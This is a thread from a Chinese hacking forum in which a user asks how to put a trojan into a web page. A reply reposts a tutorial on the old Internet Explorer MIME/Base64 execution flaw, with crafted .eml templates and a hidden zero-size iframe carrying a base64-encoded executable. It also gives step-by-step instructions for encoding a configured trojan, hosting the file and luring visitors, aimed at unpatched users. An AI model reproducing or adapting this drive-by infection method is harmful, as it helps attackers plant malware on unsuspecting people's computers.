20CN网络安全小组论坛 - 菜鸟乐园 - 怎么在网页中加入木马

论坛: 菜鸟乐园标题: 怎么在网页中加入木马

复制本贴地址

作者: andy701 [andy701]

论坛用户

告诉我啊

地主发表时间: 01/29 00:36

回复: laievf [laievf]

论坛用户

IE5.5以下版本网页嵌木马的详细方法 http://www.cnhope.org 2002-8-2 大学生网络联盟
其实这个技术已经过时了，因为使用的是IE5.0+IE5.1中MIME/BASE64处理的漏洞，这个漏洞已经在2000-07-13由微软公布了，可是因为中国大陆绝大多数的上网用户使用的操作系统都为WIN98，而且几乎没有人打过补丁，所以现在使用这个技术依然可以试很多人中招！+
+本文将分（+）大部分对这个技术进行分析：+
★第1部分：MIME常识介绍+
★第2部分：MIME漏洞的发展过程+
★第3部分：MIME漏洞的实际应用+《====也是最最重要的部分+++
================================================================================================+

▲1▲你是不是连MIME是什么都不知道呢？下面是对于MIME的详细介绍：+
------------------------------------------------------------------------------------------------+
关于MIME的介绍+
用户可以通过使用MIME以设置服务器传送多媒体如声音和动画信息，这一切可能通过CGI脚本来进行。在下面的文章中，你可以了解到一此关于MIME和关于在网络上使用MIME的知识。+

MIME是一种技术规范，它原来是用于电子邮件的，现在也可以用于浏览器上，传送可以供浏览器识别的信息，关于MIME的知识并是十分难懂的，有一些基本的计算机概念就可以理解了，但如果要进一步使用，就必须注意内容。实际上，我们在上网的时候就已经接触到了MIME，只是浏览器和服务器在底层实现了。+

MIME有时候被错误地理解为多媒体Internet邮件扩展（Multimedia+Internet+Mail+Extensions），这是一个错误，但是MIME在网上经常用于多媒体应用程序，所以人们以为这是它是多媒体邮件扩展，而实际上它应该被称为多用途Internet邮件扩展（Multipurpose+Internet+Mail+Extensions），这一点一定要注意，因为有时候内容里根本没有非文本成份。+

MIME对于邮件系统的扩展是巨大的，因为在MIME出现以前，信件内容如果要包括声音和动画，就必须把它变为ASCII码或把二进制的信息变成可以传送的编码标准，而接收方必须经过解码才可以获得声音和图画信息。MIME提供了一种可以在邮件中附加多种不同编码文件的方法。这与原来的邮件是大大不同的。而现在MIME已经成为了HTTP协议标准的一个部分。+

MIME是服务器通知客户机传送文件是什么类型的主要方法，客户机浏览器也通过MIME告诉服务器它的参数。在网上，如果接收到的文件没有MIME头，就默认它为HTML格式。但这样也不好，因为当MIME的包头是text/plain时，浏览器将直接显示而不关心它的什么字体，颜色之类的参数，这样显示出来的内容可不是很好看呀。+

MIME头是什么样子要看它是用在电子邮件中还是用在浏览器上，两者内容可能有所不同。对于邮件头来说，版本号，内容类型声明，编码方式，内容描述是必不可少的。这是用于邮件头中的格式，在下面，我们将重点说到在HTTP中传送MIME头，这时MIME头要简单一些。+

下例是一个邮件的标准MIME头：+

Mime-Version:+1.0+//版本号：1.0+

Content-Type:+multipart/mixed;+boundary="IMA.Boundary.750407228"+//内容类型是多种的+

--IMA.Boundary.750407228+

Content-Type:+text/plain;+charset=US-ASCII+//内容类型：文本，字符是ASCII的+

Content-Transfer-Encoding:+7bit+//编码方式：7位+

Content-Description:+cc:Mail+note+part+

在用于浏览器时，用户不需要知道那么多的信息，所以MIME头就比较简单了。在访问一个网页时，浏览器和服务器之间产生一个会话，作为请求内容的一部分，浏览器发送它能够理解的MIME类型的描述，这就告诉服务器，浏览器除了网页外还可以支持什么，服务器对这个信息一般不作为什么修改。+

服务器通过发向客户机的MIME头通知客户浏览器内容是什么，我们看看下面这个头：+

Content-type:+text/html+

在实现的时候，一定要注意MIME头后要跟一个空行，不然这个头会被浏览器忽略，这个头会被当作文本显示出来。当服务器传送GIF图象时，头会如下：+

　+

Content-type:+image/gif+

Content-transfer-encoding:+BINARY+

　+

通常的MIME内容类型并不起什么作用，浏览器可以自己识别内容的类型，但是如果您使用一些另外的类型，这个问题可就大了，如果你使用了text/postscript，那浏览器会显示下载窗口，或就把这个东西显示出来，那可就不好办了。下面我们介绍一下标准MIME类型。+

Text.+文本，它用于描述不同类型的文本，包括通常的文本，PostScript和HTML，虽然HTML不是一个可能的子类型。+

Multipart.+多类型，指出此信息包括多种信息，不止一种类型。+

Message.+用于标记不同类型的消息。+

Application.+应用类型。+

Image.+图象，用于标明图形文件。+

Audio.+声音，用于标明声音文件。+

Video.+影象，用于标明动画文件。+

每个MIME类型有不同的子类型，实际上，您不可能单独使用类型而不使用子类型，只有一个例外，这就是"telnet"类型。IANA提供45种类型/子类型对支持。当然，标准是开放的，允许用户自定义自己的类型，用户自定义类型要以“X-”开始以示区别。在添加新的类型时，一定要注意，尽量使用已有的类型达到自己的目的。如果非要添加新的类型，一定要保证服务器一方支持这种类型，也要保证客户端也能够通过一些应用程序（如插件）来识别新类型。如果您的网站的访问者很广，不要轻易使用新类型，要么使用已有的类型，或者向IANA提出注册请求。+
================================================================================================+

▲2▲MIME漏洞的发展过程+
+MIME漏洞在中国高水平黑客中流行是在2000年11月份，当时只是用MIME漏洞执行任意代码，受影响系统只是+WINDOS+NT+and+2000+98+using+IE+，而且并没有大面积流行。中国国内最早写这方面文章的人就是SQL，宗师啊！就是厉害~！！后来在这方面运用最成功的就是Nimda尼姆达蠕虫病毒，在2001-09-18进入我国。经过BASE64代码的源代码我就不在这里公布了，如果有人研究找我要好了。+
------------------------------------------------------------------------------------------------+
当时的微软公告如下：+
Microsoft+安全公告+(MS01-020)++(MS,补丁)+
++
涉及程序：+
IE+
++
描述：+
IE+不能正确处理+MIME+格式邮件附件导致执行攻击者代码漏洞+
++
详细：+
因为+HTML+格式的邮件是简单的+WEB+页面，IE+能以一种+MIME+格式打开+EMAIL+可执行附件。发现+IE+在打开的过程中存在漏洞。如果一个攻击者创建了一个包含可执行附件的词+HTML+邮件，再将+MIME+报头信息改成+IE+不能正确处理的+MIME+格式。IE+将会自动执行此程序。+
攻击者能以两种方式利用此漏洞，它能在一个+WEB+站点建立一个受感染的+HTML+邮件，再诱使其它用户访问它，此时+WEB+页面的+POSTSCRIPT+就能打开邮件执行代码。或者他能将+HTML+邮件直接寄给用户。+

影响系统：+
++++Microsoft+Internet+Explorer+5.01+
++++Microsoft+Internet+Explorer+5.5+

注意：Internet+Explorer+5.01+Service+Pack+2+不受影响+
++
解决方案：+
MIRCOSOFT+已推出补丁：+ http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp+
------------------------------------------------------------------------------------------------+
下面是简单的实例：+

From:+"xxxxx"+
Subject:+mail+
Date:+Thu,+2+Nov+2000+13:27:33++0100+
MIME-Version:+1.0+
Content-Type:+multipart/related;+
type="multipart/alternative";+
boundary="1"+
X-Priority:+3+
X-MSMail-Priority:+Normal+
X-Unsent:+1+

--1+
Content-Type:+multipart/alternative;+
boundary="2"+

--2+
Content-Type:+text/html;+
charset="iso-8859-1"+
Content-Transfer-Encoding:+quoted-printable+

I+will+execute+some+console+commands+

--2--+

--1+
Content-Type:+audio/x-wav;+
name="hello.bat"+
Content-Transfer-Encoding:+quoted-printable+
Content-ID:+

echo+OFF++++++++++++++++++++++++++++++++++++//在这里可以写BAT程序，你可以自己改哦。+
dir+C:\+
echo+YOUR+SYSTEM+HAS+A+VULNERABILITY+++++++++
pause+

--1+
================================================================================================+

▲3▲MIME漏洞的实际应用+《====也是最最重要的部分+

下面是个实际的例子！+

MIME-Version:+1.0++++++→→这里不变，不用管←←+
Content-Type:+multipart/related;+
type="multipart/alternative";+
boundary="====_ABC1234567890DEF_===="+
X-Priority:+3+
X-MSMail-Priority:+Normal+
X-Unsent:+1+

--====_ABC1234567890DEF_====+
Content-Type:+multipart/alternative;+
boundary="====_ABC0987654321DEF_===="+

--====_ABC0987654321DEF_====+
Content-Type:+text/html;+
charset="iso-8859-1"+
Content-Transfer-Encoding:+quoted-printable+

<HTML><HEAD></HEAD><BODY+bgColor=3D#ffffff>+
<iframe+src=3Dcid:EA4DMGBP9p+height=3D0+width=3D0>+
</iframe></BODY></HTML>+
--====_ABC0987654321DEF_====--+

--====_ABC1234567890DEF_====+
Content-Type:+audio/x-wav;+
name="ment.exe"+++→→是将来在别人机器上生成临时文件的文件名，不过是隐含的，不用换←←+
Content-Transfer-Encoding:+base64+
Content-ID:+<EA4DMGBP9p>++++++++→→到这里不用管←←+

TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+
AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu+
MzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAAABCKlBFQ08AAAAA4ACPgQsBAhkA+
3gAAAEIAAAAAAACAbAEAABAAAADwAAAAAEAAABAAAAACAAABAAAAAAAAAAQAAAAAAAAAANABAAAE+
AADxKgEAAgAAAAAAEAAAQAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAAMABAJgBAAAAYAEAABgA++→→经过BASE64←←+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHDDAQAYAAAA++→→编码的程序←←+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcGVjMQAAAAAA++→→当然可以是←←+
UAEAABAAAAB2AAAABAAAAAAAAAAAAAAAAAAAIAAA4C5yc3JjAAAAAGAAAABgAQAAEgAAAHoAAAAA++→→配置好的木←←+
AAAAAAAAAAAAAEAAAMAucnNyYwAAAAAQAAAAwAEAAAQAAACMAAAAAAAAAAAAAAAAAABAAADAAAAA++→→++马了~~++←←+
AAAAAAAAAAAAAIABAAAAAAAAJAEAAAAAAAAAAAAAAAAAQAAAUAAAAAAAAAAAAAAAAACAAQAAAAAA+
ACQBAAAAAAAAAAAAAAAAAEA……………………………………………………省略很多~~~+

--====_ABC1234567890DEF_====++++→→这个一定要有，是个标志结尾符号←←+

●●●●●注意：+

1、标志符不要乱改！+
2、将整体的文件放在记事本里另存为EML后缀的文件，将这个文件放在网上，可以直接浏览，也可以放在网页中浏览，（在网页中加入<iframe+src="http://网上的地址/文件名.eml"+width="0"+height="0"+frameborder="no"+border="0"+
marginwidth="0"+marginheight="0"+scrolling="no">+
</iframe>+）+
3、你是不是不知道如何将程序转化成BASE64编码呢？你应该会用foxmail吧？？在你的foxmail中撰写一个新的邮件，然后随便写上面的东西，将你要编码的程序作为附件，接着保存这封邮件。在右键里有《原始信息》，然后选择《全部》，将Content-Transfer-Encoding:+base64+下面的文件到BASE64编码的结尾部分用CTRL+C复制，放到上面相应的地方，找个免费主页传上去，然后把地址发给别人，一起就OK了~

B1层发表时间: 01/29 08:19

回复: andy701 [andy701]

论坛用户

不知道我的空间支持EML格式不
试试去~~~...

B2层发表时间: 04-03-07 15:53

论坛: 菜鸟乐园